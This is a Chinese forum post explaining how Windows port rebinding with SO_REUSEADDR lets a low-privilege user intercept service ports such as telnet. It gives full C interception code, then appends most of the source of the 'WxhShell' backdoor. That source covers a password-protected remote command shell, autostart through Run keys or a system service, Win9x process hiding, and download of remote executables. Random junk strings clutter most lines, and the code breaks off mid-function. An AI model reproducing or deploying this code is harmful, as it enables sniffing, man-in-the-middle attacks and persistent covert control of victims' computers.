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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M|8vP53=q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0%J0.USkM7  
GPV=(}z  
  saddr.sin_family = AF_INET; &iKy  
=2v/f_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z7TMg^9 #  
Io_bS+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hK^(Y  
z5.Uv/n\1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v2eLH:6  
jMUd,j`Opx  
  这意味着什么?意味着可以进行如下的攻击: q[?xf3  
"[h9hoN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tSibz l~  
cG!\P:re  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R|&jvG=|  
Nini8@d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rSu+zS7`X  
ZtHTl\z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  iW u  
>s dT=6v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K(jo[S  
k7,   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PY81MTv0;  
k-it#'ll{x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .cks ){\  
YoDL/  
  #include *G rYB6MT  
  #include V[DiN~H  
  #include B|WM;Y^  
  #include    |k.%e4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }ejZk bP  
  int main() Xz,fjKUnN  
  { Lf 0X(tC  
  WORD wVersionRequested; #hMS?F|  
  DWORD ret; U80h0t%  
  WSADATA wsaData; wWkMvs  
  BOOL val; ?iXN..6x  
  SOCKADDR_IN saddr; _c!$K#Yl{  
  SOCKADDR_IN scaddr; xP{)+$n  
  int err; r=}v` R&  
  SOCKET s; i,V,0{$  
  SOCKET sc; =D~>$ Y  
  int caddsize; <n1panS  
  HANDLE mt; i}Q"'?  
  DWORD tid;   W 6c]a/  
  wVersionRequested = MAKEWORD( 2, 2 ); njxfBA:  
  err = WSAStartup( wVersionRequested, &wsaData ); |hl:!j.t  
  if ( err != 0 ) { vKO/hZBh  
  printf("error!WSAStartup failed!\n"); sP:nTpTsC  
  return -1; UaCfXTG  
  } <aQ<Wy=\  
  saddr.sin_family = AF_INET; RCqd2$K"J+  
   A3mvd-k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J?#Xy9dz  
0Sj B&J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9%Eo<+my h  
  saddr.sin_port = htons(23); ?lca#@f(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AZ.$g?3w  
  { WAt= T3  
  printf("error!socket failed!\n"); LvqWA}  
  return -1; )FpizoVq0  
  } *fCmZ$U:{  
  val = TRUE; q0C%">>1 #  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vSnGPLl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (S~kNbIa  
  { (b;Kl1Ql]  
  printf("error!setsockopt failed!\n"); zC,c9b  
  return -1; i 558&:  
  } =u-q#<h4 ;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %?hvN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 : X}n[K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9Iu"DOxX%  
F|a'^:Qs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ID: tTltcc  
  { OKPNsN  
  ret=GetLastError(); 5pT8 }?7  
  printf("error!bind failed!\n"); p'`?CJq8  
  return -1; $ \+x7"pI  
  } +70x0z2  
  listen(s,2); \Up~ "q>Kb  
  while(1) b4qMTRnv  
  {  j iejs*  
  caddsize = sizeof(scaddr); S6g_$ Q7  
  //接受连接请求 h! Bg} B~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eDsB.^|l  
  if(sc!=INVALID_SOCKET) 9:E:3%%  
  { xtBu]I)%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I&U.5wf  
  if(mt==NULL) @<.ei)cqb  
  { p#%*z~ui  
  printf("Thread Creat Failed!\n"); _\8jnpT:  
  break; fK^W6)uuV  
  } s:k ?-u@  
  } Lb?WhjqZ  
  CloseHandle(mt); < 1%}8t"  
  } !r8_'K5R(  
  closesocket(s); bvOnS0,y  
  WSACleanup(); k!ID  
  return 0; oJZxRm[g$t  
  }   7B<,nKd  
  DWORD WINAPI ClientThread(LPVOID lpParam) : *XAQb0  
  { RFLfvD<  
  SOCKET ss = (SOCKET)lpParam; IH&0>a  
  SOCKET sc; 0xx4rp H  
  unsigned char buf[4096]; <+-=j  
  SOCKADDR_IN saddr; n2 can  
  long num; q9wObOS$  
  DWORD val; *c\XQy  
  DWORD ret; boI&q>-6Re  
  //如果是隐藏端口应用的话,可以在此处加一些判断 's.e"F#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NB4 Q,iq$  
  saddr.sin_family = AF_INET; UZdGV?o ?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +_L]d6  
  saddr.sin_port = htons(23); ,CI-IR2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a>6D3n W  
  { Q6HghG  
  printf("error!socket failed!\n"); TQu.jC  
  return -1; =w* 8   
  } :C>iV+B j  
  val = 100; {cUGksz]}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b}DC|?~M  
  { qyxd9Lk1  
  ret = GetLastError(); Gy[anDE&  
  return -1; m_;fj~m  
  } O,Tp,w T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q9dplEe5  
  { {i+ o'Lw  
  ret = GetLastError(); {sf ,(.W  
  return -1; HUMy\u84H  
  } -uxU[E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u]Q}jqiq"  
  { Ph%{h"  
  printf("error!socket connect failed!\n"); SXP(C^?C  
  closesocket(sc); sE'c$H  
  closesocket(ss); a{ L&RRJ  
  return -1; &XV9_{Hm  
  } I-}ms  
  while(1) zrqI^i"c  
  { S]ayH$w\Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N,Z*d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qTK(sW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %W8iC%~  
  num = recv(ss,buf,4096,0); o">~ObR  
  if(num>0) M(nzJ  
  send(sc,buf,num,0);  ?HRS*  
  else if(num==0) `Th~r&GvF  
  break; (6B;  
  num = recv(sc,buf,4096,0); %.hJDX\j  
  if(num>0) up+0-!AH  
  send(ss,buf,num,0); dOKp:|9G  
  else if(num==0) <{k`K[)  
  break; ZG 0^O"B0  
  } 6}m`_d?  
  closesocket(ss); Lu {/"&)  
  closesocket(sc); G^tazAEfo  
  return 0 ; :'B(DzUR  
  } SzIzQR93&  
:Fm*WqZu  
> SLQW  
========================================================== _}Qtx/Cg  
>O<a9wz  
下边附上一个代码,,WXhSHELL l;KrFJ6  
6`7tTn?n  
========================================================== #2s}s<Sc;  
ZM})l9_o"  
#include "stdafx.h" \c<;!vkZ04  
rH!sImz,  
#include <stdio.h> _]33Ht9  
#include <string.h> ~Ni  
#include <windows.h> |,@D <  
#include <winsock2.h> MOK}:^bSu  
#include <winsvc.h> O-HS)g$2  
#include <urlmon.h> &BLCP d  
J}&Us p  
#pragma comment (lib, "Ws2_32.lib") ,{!,%]bC  
#pragma comment (lib, "urlmon.lib") :>.{w$Ln%  
"d:rPJT)(@  
#define MAX_USER   100 // 最大客户端连接数 W03mdRW  
#define BUF_SOCK   200 // sock buffer 1$eoW/8.  
#define KEY_BUFF   255 // 输入 buffer F$DA/{.D  
4VZI]3K,  
#define REBOOT     0   // 重启 , + G  
#define SHUTDOWN   1   // 关机 t$(#$Z,RS  
CDM6o!ur3  
#define DEF_PORT   5000 // 监听端口 _\KFMe= PV  
Dc@O Mr  
#define REG_LEN     16   // 注册表键长度 5"@>>"3U  
#define SVC_LEN     80   // NT服务名长度 {Y@shf;  
 u&#>)h  
// 从dll定义API W]#w4Fp!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >STthPO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7bk77`qWr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uDie205  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /M%>M]  
tu<<pR>  
// wxhshell配置信息 BW7AjtxQ&  
struct WSCFG { {iX#  
  int ws_port;         // 监听端口 ". tW5O>  
  char ws_passstr[REG_LEN]; // 口令 |dLr #+'az  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,eBC]4)B6  
  char ws_regname[REG_LEN]; // 注册表键名 pe vXixl  
  char ws_svcname[REG_LEN]; // 服务名 @JXpD8jn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *0xL(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vt(Wy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q@~g.AMCB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F<k+>e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TG}owG]]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jcJ 4?  
U@NCN2 I  
}; n!4\w>h  
yf9"Rc~+  
// default Wxhshell configuration ^T!Zz"/:  
struct WSCFG wscfg={DEF_PORT, h40;Q<D  
    "xuhuanlingzhe",  I8?  
    1, Q__CW5&'u  
    "Wxhshell", {ogBoDS  
    "Wxhshell", gMI%!Y  
            "WxhShell Service", }yK7LooM  
    "Wrsky Windows CmdShell Service", x6`mv8~9Db  
    "Please Input Your Password: ", H P.=6bJWi  
  1, R>O_2`c  
  "http://www.wrsky.com/wxhshell.exe", H[u9C:}9b  
  "Wxhshell.exe" gZ4' w`4r  
    }; sNDo@u7  
5P\>$N1p  
// 消息定义模块 x|a&wC2,{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iT :3e%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z?{\34lPj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6ieul@?*u*  
char *msg_ws_ext="\n\rExit."; [*^.$s(  
char *msg_ws_end="\n\rQuit."; ,gVVYH?qR  
char *msg_ws_boot="\n\rReboot..."; E`oA(x7l  
char *msg_ws_poff="\n\rShutdown..."; -`I|=lBz{H  
char *msg_ws_down="\n\rSave to "; MvpJ0Y (  
RG{T\9]n  
char *msg_ws_err="\n\rErr!"; 9s^$tgH  
char *msg_ws_ok="\n\rOK!"; QMBT8x/+_'  
bFX{|&tHU  
char ExeFile[MAX_PATH]; KkZx6A)$u  
int nUser = 0; M YF ^zheD  
HANDLE handles[MAX_USER]; /eQAGFG  
int OsIsNt; p75o1RU  
S/XU4i:aV  
SERVICE_STATUS       serviceStatus; aDdGhB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \Ip)Lm0  
W_2;j)i  
// 函数声明 Ab ,^y  
int Install(void); nZbI}kcm  
int Uninstall(void);  Y${'  
int DownloadFile(char *sURL, SOCKET wsh); {!|4JquE_  
int Boot(int flag); 3[ [oAp  
void HideProc(void); 8X,6U_>#a  
int GetOsVer(void); ~pRgTXbz  
int Wxhshell(SOCKET wsl); #SHeK 4  
void TalkWithClient(void *cs); R xMsP;be  
int CmdShell(SOCKET sock); *)Qv;'U=rn  
int StartFromService(void); Z6zV 9hn  
int StartWxhshell(LPSTR lpCmdLine); %XG m\p  
5)RZJrN]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !d N[9}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mLuNl^)3  
=sYILe[  
// 数据结构和表定义 pJ] Ix *M  
SERVICE_TABLE_ENTRY DispatchTable[] = 0(7 IsG=t  
{ >}V?GK36  
{wscfg.ws_svcname, NTServiceMain}, tVRN3fJH  
{NULL, NULL} `3F#k[IR  
}; BX?DI-o^h  
_iJ~O1qx,w  
// 自我安装 8z1z<\  
int Install(void) j9NF|  
{ b)I-do+  
  char svExeFile[MAX_PATH]; rRq60A  
  HKEY key; Cq2Wpu-u  
  strcpy(svExeFile,ExeFile); k4ti#3W5eG  
Bz ;r<Kn  
// 如果是win9x系统,修改注册表设为自启动 n4k q=Z%  
if(!OsIsNt) { ^!1!l-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wmr?ANk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Gk`n  
  RegCloseKey(key); zTg\\z;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XZIapT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '|IcL1c=I  
  RegCloseKey(key); l ;:IL\*1I  
  return 0; }Z"iW/?"  
    } -$Z1X_~;)<  
  } !rUP&DA  
} l53i {o  
else { >_?i)%+)  
}Ja-0v)Wf  
// 如果是NT以上系统,安装为系统服务 DO: ,PZX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QXkA%'@'  
if (schSCManager!=0) z;qDl%AF  
{ bTD?uX!^@  
  SC_HANDLE schService = CreateService cT'Bp)a  
  ( XGSFG ~d  
  schSCManager, 072C!F  
  wscfg.ws_svcname, IA`voO$  
  wscfg.ws_svcdisp, 8TP$?8l  
  SERVICE_ALL_ACCESS, )=~&l={T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vXDs/,`r  
  SERVICE_AUTO_START, :lB*kmg  
  SERVICE_ERROR_NORMAL, x0<;Rm [u=  
  svExeFile, .#yg=t1C  
  NULL, EsGu#lD2  
  NULL, O@Aazc5K  
  NULL, q| D5 A|)  
  NULL, aS [[ AL  
  NULL Ljy797{f  
  ); K{P-+(  
  if (schService!=0) ,clbD4  
  { LIID(s!bX  
  CloseServiceHandle(schService);  ~71U s  
  CloseServiceHandle(schSCManager); ; JkSZs3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ce}`z L  
  strcat(svExeFile,wscfg.ws_svcname); =d{6=2Pt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4zMvHe  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [bh?p+V  
  RegCloseKey(key); 40kAGs>_  
  return 0; ?6:qAFw  
    } sq'm)g  
  } kOQ)QX  
  CloseServiceHandle(schSCManager); k+h}HCzE  
} ztO)~uL  
} U<j5s\Y,  
lCU clD  
return 1; & &}_[{fc  
} 6(8 F4[D  
SxRJ{m~  
// 自我卸载 j[r}!;O  
int Uninstall(void) kk=n&M  
{ ZsP^<  
  HKEY key; k$kE5kh,S  
HgQjw!  
if(!OsIsNt) { !eyLh&]5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;73S;IPR  
  RegDeleteValue(key,wscfg.ws_regname); FSEf0@O:  
  RegCloseKey(key); W>pe-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JqzoF}WH  
  RegDeleteValue(key,wscfg.ws_regname); rRe5Q  
  RegCloseKey(key); W22S/s  
  return 0; +VUkV-kP  
  } {lds?AuK  
} V8n { k'  
} ,XT,t[w  
else { ,%9XG077  
WzzA:X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  ew1L+  
if (schSCManager!=0) e/D{^*~S  
{ <,~OcJG(   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hV7EjQp  
  if (schService!=0) | 1B0  
  { #*.!J zOg  
  if(DeleteService(schService)!=0) { ^OY$ W  
  CloseServiceHandle(schService); }WsPuo  
  CloseServiceHandle(schSCManager); M}|(:o3Yo  
  return 0; 07.p {X R  
  } lju5+0BSb  
  CloseServiceHandle(schService); eHgr"f*7   
  } Ij#mmj NW  
  CloseServiceHandle(schSCManager); { I{ 0rV  
} wiN0|h>,  
} >j?5?J"  
;dzy 5o3  
return 1; !BoGSI  
} \g34YY^L3  
)g:5}+  
// 从指定url下载文件 mV^w|x  
int DownloadFile(char *sURL, SOCKET wsh) M XG>|  
{ o26Y }W  
  HRESULT hr; 0C<\m\|~k  
char seps[]= "/"; 85E$m'0O  
char *token; vU>^  
char *file; 0fqcPi  
char myURL[MAX_PATH]; q'jOI_b  
char myFILE[MAX_PATH]; ei= 4u'  
j3sz"(  
strcpy(myURL,sURL); (pELd(*Ga  
  token=strtok(myURL,seps); u#ya 8  
  while(token!=NULL) gT8(LDJ  
  { )q<VZ|V  
    file=token; WM+8<|)n  
  token=strtok(NULL,seps); <f7 O3 >  
  } :I#.d7`uk  
ci;2XLAM  
GetCurrentDirectory(MAX_PATH,myFILE); ROkwjw  
strcat(myFILE, "\\"); ?xaUWD  
strcat(myFILE, file); %wbdg&^  
  send(wsh,myFILE,strlen(myFILE),0); (XOz_K6c%K  
send(wsh,"...",3,0); ] G["TX,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?6 2zv[#  
  if(hr==S_OK) sPK]:i C  
return 0; xsZN@hT  
else "W5MZ  
return 1; 1:eWZ]B5"  
9':Ipf&x  
} 'ON/WKJr|W  
`ulQ C  
// 系统电源模块 5j`sJvq  
int Boot(int flag) 8$-MUF,  
{ 6Jgl"Jw8  
  HANDLE hToken; j"jssbu}  
  TOKEN_PRIVILEGES tkp; 0Px Hf*  
JlSqTfA  
  if(OsIsNt) { yD<#Q\,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t3$cX_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4<s;xSCL  
    tkp.PrivilegeCount = 1; \gP?uJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +vZYuEq_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4b}p[9k  
if(flag==REBOOT) { `6rLd>=R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0/~p1SSun  
  return 0; [ &Wy $  
} Y's=31G@  
else { }P2*MrkcHB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0-p^o A  
  return 0; Ow-ejo  
} lz=DGm  
  } pKLcg"{[F  
  else { W<<G  'Km  
if(flag==REBOOT) { ,q*|R O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \WE/#To  
  return 0; 0faf4LzU!  
} NL.3qx  
else { ok--Jyhv#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I 6WHC*  
  return 0; rE*yT(:w  
} `_yksh3zL4  
} og$dv 23  
igOX0  
return 1; _U*R_2aV  
} O4-#)#-)S~  
xpa+R^D5G  
// win9x进程隐藏模块 dZ|bw0~_!  
void HideProc(void) 1N),k5I  
{ T \34<+n1N  
v0r:qku  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C=c&.-Nb9  
  if ( hKernel != NULL ) J*g<]P&p0  
  { O#tmB?n*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tln}jpCw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |%4nU#GoB  
    FreeLibrary(hKernel); h(2{+Y+  
  } Gad&3M0r  
[]\-*{^r  
return; PM*lnd#J  
} R?:K\  
V,ZRX}O  
// 获取操作系统版本 heF'7ezv#  
int GetOsVer(void) -0(+a$P7e  
{ LZ#A`&qUd  
  OSVERSIONINFO winfo; K{y`Sb~k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i_L u  
  GetVersionEx(&winfo); GF9iK|i/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iMVQt1/  
  return 1; ~i-n_7+  
  else 0Wd5s{S  
  return 0; \sGJs8#v][  
} "QfF]/:  
2v?#r"d  
// 客户端句柄模块 >Dv=lgPF  
int Wxhshell(SOCKET wsl) &}gH!5L m  
{ L_Z`UhD3{  
  SOCKET wsh; BI2'NN\  
  struct sockaddr_in client; [e=k<gKH  
  DWORD myID; &hpznIN  
D6_#r=08  
  while(nUser<MAX_USER) Jv2V@6a(  
{ 0Q%I[f8  
  int nSize=sizeof(client); eJOo~HIWQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  0Ns Po  
  if(wsh==INVALID_SOCKET) return 1; )$Fw<;4  
@ 6jKjI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;).QhHeg>  
if(handles[nUser]==0) `5t~ Vlp  
  closesocket(wsh); 99h#M3@!  
else /\jRr7 Cd  
  nUser++; \XY2s&"  
  } MMRO@MdfV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i+-Y"vRi  
Gd&G*x  
  return 0; 1g!%ej jd  
} 1\f8-:C  
.:['&; k  
// 关闭 socket eF 8um$t9  
void CloseIt(SOCKET wsh) bB.nevb9p  
{ G* mLb1  
closesocket(wsh); o,1Fzdh6(  
nUser--; uN9.U  _  
ExitThread(0); arPqVMVr  
} IOUzj{G#  
K!jau|FS  
// 客户端请求句柄 +/*A}!#v  
void TalkWithClient(void *cs) w RTzpG4  
{ +Y~,1ai 5^  
'vIVsv<p  
  SOCKET wsh=(SOCKET)cs; T7G{)wm  
  char pwd[SVC_LEN]; 6l?KX  
  char cmd[KEY_BUFF]; >*w(YB]/$V  
char chr[1]; d cht8nX7~  
int i,j; %c c<>Hi  
wd:SBU~f5*  
  while (nUser < MAX_USER) { vP<8 ,XG  
\]/ 6>yT  
if(wscfg.ws_passstr) { !ImtnU}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \4q1<j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e3&.RrA  
  //ZeroMemory(pwd,KEY_BUFF); ZONe}tv:  
      i=0; VN4H+9E  
  while(i<SVC_LEN) { +>h'^/rAE  
vw q Y;7  
  // 设置超时 5|[\Se#  
  fd_set FdRead; nG5:H.)  
  struct timeval TimeOut; Se5jxV  
  FD_ZERO(&FdRead); LTY(6we-  
  FD_SET(wsh,&FdRead); S1$&  
  TimeOut.tv_sec=8; U}`HN*Q.q  
  TimeOut.tv_usec=0; DOo34l6#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Yv;18j*<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k3"Y!Uha:  
_{gRCR)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v/Ei0}e6~  
  pwd=chr[0]; !U+XIr  
  if(chr[0]==0xd || chr[0]==0xa) { {,m W7  
  pwd=0; 'v3> "b  
  break; ZYW=#df R  
  } Oz,/y3_  
  i++; a_(vpD^  
    } ;lb@o,R :  
;fDs9=3#  
  // 如果是非法用户,关闭 socket U@?Ro enn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D(S^g+rd  
} *$ 7c||J7  
OGO4~Up  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $5l=&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T%:W6fH7  
3m`y?Dd  
while(1) { [^-DFq5@  
 t"'aQr  
  ZeroMemory(cmd,KEY_BUFF); Y_&)>;  
:-.bXOB(  
      // 自动支持客户端 telnet标准   uod&'g{N  
  j=0; {#1}YGpiVM  
  while(j<KEY_BUFF) { m]U`7!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZA4vQDW  
  cmd[j]=chr[0]; n.xW"omN  
  if(chr[0]==0xa || chr[0]==0xd) { ?g'? Ou  
  cmd[j]=0; *e05{C:kS  
  break; "(d7:!%  
  } Go_~8w0<  
  j++; )Wm:Ilq  
    } DbkKmv&  
co%ttH\ n  
  // 下载文件 o;@T6-VH  
  if(strstr(cmd,"http://")) { f~? MNJ2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4h~o>(Sq  
  if(DownloadFile(cmd,wsh)) O9W|&LAL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "h}miVArS  
  else }%9A+w}o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lm}:`  
  } 3"hPplE  
  else { * 7 o(  
e'zG=  
    switch(cmd[0]) { +K%4jIm  
  e[7n`ka '  
  // 帮助 Xj<B!Wn*Xb  
  case '?': { 5)GO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v5GV"qY  
    break; 9IC|2w66  
  } v9OK <  
  // 安装 h>+,ba"D  
  case 'i': { 5l"v:Px  
    if(Install()) /_P5U E(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7lS=D(?  
    else >h7qI-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /K9Tn  
    break; LMrb 1lg$  
    } X)|b_3Z  
  // 卸载 eZm,K'/!  
  case 'r': { +mN]VO*y  
    if(Uninstall()) -P<e-V%<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PSQ5/l?\>  
    else k/yoRv%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hinz6k6!  
    break; viT/$7`AI  
    } >I3#ALF  
  // 显示 wxhshell 所在路径 {? jr  
  case 'p': { jR#g>MDKB  
    char svExeFile[MAX_PATH]; O#E]a<N`  
    strcpy(svExeFile,"\n\r"); /K"koV;  
      strcat(svExeFile,ExeFile); d[5?P?h')  
        send(wsh,svExeFile,strlen(svExeFile),0); /JfRy%31  
    break; G.,dP +i  
    } {`vF4@  
  // 重启 >c>f6  
  case 'b': { hp]T^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &AI/;zru  
    if(Boot(REBOOT)) pN"d~Z8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lh6G"f(n  
    else { ;_GS<[A3  
    closesocket(wsh); ^xO CT=V  
    ExitThread(0); K_4}N%P/))  
    } 7 p(^I*|  
    break; ^E8XPK]-~  
    } @O/-~, E68  
  // 关机 %W=S*"e-  
  case 'd': { <8>gb!DG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~ FW@  
    if(Boot(SHUTDOWN)) ?1Lzbou  
